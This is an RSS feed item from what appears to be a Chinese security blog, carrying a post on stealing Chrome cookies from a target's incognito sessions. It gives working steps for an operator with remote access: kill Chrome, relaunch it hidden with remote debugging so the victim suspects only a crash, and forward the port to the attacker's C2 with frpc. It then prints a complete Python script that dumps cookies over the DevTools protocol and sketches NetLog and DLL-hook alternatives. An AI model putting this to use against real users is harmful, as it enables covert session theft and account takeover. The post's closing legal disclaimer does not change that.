<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>浏览器 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E6%B5%8F%E8%A7%88%E5%99%A8/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Wed, 16 Sep 2020 14:19:30 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>无痕浏览器也许“并不能”保护你的隐私</title>
		<link>/web/1898.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Wed, 16 Sep 2020 16:00:35 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[取证]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[渗透]]></category>
		<guid isPermaLink="false">/?p=1898</guid>

					<description><![CDATA[遇到的问题 在某些工作需求中，需要获取用户当前浏览器中的Cookies。由于目标比较严谨，使用了chrome浏览器的无痕模式，因此无法通过复制cookies文件解密的方式获取明文c...]]></description>
										<content:encoded><![CDATA[<h1>遇到的问题</h1>
<p>在某些工作需求中，需要获取用户当前<span class="wpcom_tag_link"><a href="/tags/%e6%b5%8f%e8%a7%88%e5%99%a8" title="浏览器" target="_blank">浏览器</a></span>中的Cookies。由于目标比较严谨，使用了chrome浏览器的无痕模式，因此无法通过复制<span class="wpcom_tag_link"><a href="/tags/cookie" title="cookie" target="_blank">cookie</a></span>s文件解密的方式获取明文cookie。</p>
<p>那么，隐私模式真的可以保护你的cookie了吗？</p>
<h1><span class="wpcom_tag_link"><a href="/tags/chrome" title="Chrome" target="_blank">Chrome</a></span>架构</h1>
<p>Chrome浏览器是多进程架构，有三种进程&#8211;浏览器、渲染器和插件。这也是为什么打开浏览器后默认就有6个进程的原因。<br />
<img src="/wp-content/uploads/2020/09/eece9eef-130e-c35f-4132-7948e225f6a2-1.png" alt="image.png" /></p>
<p>如果想详细了解架构可以参考下面提供的链接，简单来说就是Chrome会启动一个叫做“浏览器”的主进程，其余的“渲染器”进程就是每一个标签页。（这里简单理解一下，后面会利用到这个技术）<br />
<img src="/wp-content/uploads/2020/09/c0f4b392-5324-0219-3eca-9c294e0a8e8f-1.png" alt="image.png" /></p>
<h2>参考</h2>
<p>Google 图解这个系列文章挺好的建议读一读。<br />
<a class="wp-editor-md-post-content-link" href="https://toutiao.io/posts/uozd28/preview">Google 图解：Chrome 快是有原因的，科普浏览器架构</a><br />
<a class="wp-editor-md-post-content-link" href="https://patents.google.com/patent/CN102981903B/zh">一种多核浏览器中进程复用的方法及其多核浏览器</a></p>
<h1>方案一：remote debug</h1>
<p>chrome内核的浏览器支持远程调试，但是仅支持本地访问（localhost:9222）。通过<code>--remote-debugging-port=9222</code>参数指定端口启动chrome内核浏览器，即可通过localhost:9222页面同步其他浏览进程。</p>
<p>由于chrome内核的浏览器是多进程架构，只有一个浏览器主进程，其余的都是渲染器插件等进程，因此只要第一个启动的进程是通过remot debug方式启动，后面的一切新的标签都会被调试模式记录，重点是包括隐私窗口！</p>
<p><img src="/wp-content/uploads/2020/09/99c70ed2-c5d3-cc24-07bd-054fa2a9421e-1.png" alt="image.png" /><br />
<img src="/wp-content/uploads/2020/09/c0ca28ae-dcbc-6d0b-96f8-39a84d80df18-1.png" alt="image.png" /><br />
<img src="/wp-content/uploads/2020/09/2f6d7c1f-2702-1737-206b-c64617784bdc-1.png" alt="image.png" /><br />
自动化获取指定网站cookie<br />
<img src="/wp-content/uploads/2020/09/ecd32b75-9cc6-3200-4809-1a0f155c9d4b-1.png" alt="image.png" /><br />
简单说一下怎么利用，首先要通过你的远控kill掉所有的chrome进程，并通过命令行启动一个无窗口debug模式的浏览器。目标顶多会以为浏览器bug闪退，并且无弹窗不会引起怀疑。下面是一些用的到的命令。</p>
<pre><code class="language-bash line-numbers">$ wmic process where name="chrome.exe" get executablepath
获取chrome浏览器所在目录
$ taskkill /f /im chrome.exe &amp;&amp; chrome.exe --remote-debugging-port=xxxx --no-startup-window
kill掉所有chrome进程，并重新启动无窗口浏览器。利用命令一中获取的路径执行启动命令
$ frpc.exe
端口转发到外网，剩下的就是利用脚本读取指定网站cookie（换成自己c2的ip和端口）。python3 cookies.py localhost:9222
</code></pre>
<p>读cookies的脚本源码</p>
<pre><code class="language-python line-numbers">import websockets
import asyncio
import requests
import json
from sys import argv

async def getCookies(uri):
    data = {"id": 1, "method": "Network.getCookies"}
    command = json.dumps(data)
    async with websockets.connect(uri) as websocket:
        await websocket.send(command)
        res = await websocket.recv()
        print(f" {res}")

def getUri(url):
    rep = requests.get(url)
    dic = json.loads(rep.text)
    res = {}
    for i in range(len(dic)):
        title = dic[i]['title']
        wsuri = dic[i]['webSocketDebuggerUrl']
        res[str(i)] = wsuri
        print(str(i)+". "+title)
    return res

def main(uri):
    while 1:
        cmd = input("&gt; ")
        if cmd=="quit":
            break
        asyncio.get_event_loop().run_until_complete(getCookies(uri[cmd]))



if __name__ == '__main__':
    url = "http://"+argv[1]+"/json"
    uri = getUri(url)
    main(uri)

</code></pre>
<h2>参考</h2>
<p><a class="wp-editor-md-post-content-link" href="https://mango.pdf.zone/stealing-chrome-cookies-without-a-password">Stealing Chrome Cookies</a><br />
<a class="wp-editor-md-post-content-link" href="https://chromedevtools.github.io/devtools-protocol/">Chrome DevTools</a></p>
<h1>方案二：NetLog</h1>
<p>这个也是一个不错的方案，但是我并没有解决无窗口模式的问题，所以容易引起警觉，因此简单说聊一下，具体可以看参考文章。<br />
同样需要先k掉chrome进程，通过命令行指定参数 <code>--log-net-log="C:1.json"</code>，利用<a class="wp-editor-md-post-content-link" href="https://netlog-viewer.appspot.com/#import">NetLog Viewer</a>导入json，读取cookie。</p>
<h2>参考</h2>
<p><a class="wp-editor-md-post-content-link" href="https://yukaii.tw/blog/2019/03/02/chrome-netlog-and-netlog-viewer-hidden-header-credentials/">使用 Chrome NetLog 解析隱藏在 DevTools 中的 Header 資訊</a></p>
<h1>方案三：DLL注入HOOK</h1>
<p>同事也在研究的一个思路，同时某位表哥也给了我同样的思路。由于这部分的技术本人还很欠缺，因此不过多研究了。大致的思路是，HOOK某函数在浏览器https加密之前，获取明文cookie。希望后面可以填坑。</p>
<h1>适用性</h1>
<p>所有Chrome内核浏览器皆适用，比如最新的edge，360Chrome等等 : )。想测的话，可以自己测一下。</p>
<h1>最终</h1>
<p>感谢提供netlog和dll注入思路的表哥，虽然最后一种还在研究中，但学习到了很多。前两种方式也不过是临时方案，方案三才是长久之计。这篇文章只是聊一个思路，给和我同样在某些<span class="wpcom_tag_link"><a href="/tags/%e5%8f%96%e8%af%81" title="取证" target="_blank">取证</a></span>环节需要此方法的人，毕竟大部分同行的工作并不需要这么做。所以按需阅读，谢谢。最后，请遵守法律！</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
